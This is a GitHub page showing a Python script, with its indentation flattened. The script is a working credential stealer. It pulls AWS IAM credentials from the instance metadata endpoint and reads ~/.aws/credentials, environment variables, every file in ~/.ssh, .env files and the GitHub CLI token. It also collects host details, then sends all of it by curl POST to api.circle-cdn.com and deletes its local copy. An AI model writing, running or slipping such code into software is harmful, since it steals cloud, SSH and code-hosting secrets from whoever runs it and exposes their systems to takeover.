Skip to content
Permalink
87323ccc0d
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
101 lines (96 sloc) 3.2 KB
#!/usr/bin/env python3
import random
import socket
import getpass
import base64
import subprocess
import os
import binascii
import time
acmd = 'curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/'
bcmd = 'cd ~/.aws && cat credentials'
ccmd = 'printenv'
cdcmd = 'cd ~/.ssh && ls && cat *'
ipcmd = 'ip addr show'
catenvcmd = 'cd ~/ && ls .env* && cat .env*'
ghcmd = 'gh auth status --show-token'
res3 = ""
all3 = ""
all4 = ""
all5 = ""
all6 = ""
all7 = ""
allgh = ""
getcred = ""
try:
result = subprocess.getoutput(acmd)
rolename = str(result)
accmd = 'curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/' + rolename + '/'
getcred = subprocess.getoutput(accmd)
all3 = "metadata \n ----------------------------------------- \n \n" + result + getcred
except Exception as e:
pass
try:
result2 = subprocess.getoutput(bcmd)
all4 = " \n \n a \n ----------------------------------------- \n \n" + result2
except Exception as e:
pass
try:
hostname = ""
username = ""
cwd = ""
ipadd = ""
try:
hostname = socket.gethostname()
except Exception as e:
pass
try:
username = getpass.getuser()
except Exception as e:
pass
try:
cwd = os.getcwd()
except Exception as e:
pass
try:
ipadd = subprocess.getoutput(ipcmd)
except Exception as e:
pass
res3 = {'hostname':hostname,'cwd':cwd,'username':username,'IP':ipadd}
all5 = "\n \n details \n ----------------------------------------- \n \n " + str(res3)
except Exception as e:
pass
try:
result3 = subprocess.getoutput(ccmd)
all6 = "\n \n en \n ----------------------------------------- \n \n " + result3
except Exception as e:
pass
try:
result4 = subprocess.getoutput(cdcmd)
all7 = "\n \n ssh \n ----------------------------------------- \n \n " + result4
except Exception as e:
pass
try:
result4gh = subprocess.getoutput(ghcmd)
allgh = "\n \n gh \n ----------------------------------------- \n \n " + result4gh
except Exception as e:
pass
all8 = str(all3) + str(all4) + str(all5) + str(all6) + str(all7) + str(allgh)
if os.path.exists('.env') or os.path.exists('/root/.env') or os.path.exists('/home/*/.env'):
output = subprocess.getoutput(catenvcmd)
allen = all8 + "\n \n en \n ----------------------------------------- \n \n " + str(output)
filename1 = str(random.randint(0, 99999999999)) + '.txt'
filename2 = str(filename1)
with open(filename2, 'a') as d:
d.write(allen + '\n')
subprocess.getoutput("curl -X POST http://api.circle-cdn.com/uploader.php -F 'uploaded_file=@" + filename2 + "' -F 'submit=Upload'")
subprocess.getoutput('curl -X POST http://api.circle-cdn.com/api.php -d "textdata=' + allen + '"')
os.remove(filename2)
else:
filename1 = str(random.randint(0, 99999999999)) + '.txt'
filename2 = str(filename1)
with open(filename2, 'a') as d:
d.write(all8 + '\n')
subprocess.getoutput("curl -X POST http://api.circle-cdn.com/uploader.php -F 'uploaded_file=@" + filename2 + "' -F 'submit=Upload'")
subprocess.getoutput('curl -X POST http://api.circle-cdn.com/api.php -d "textdata=' + all8 + '"')
os.remove(filename2)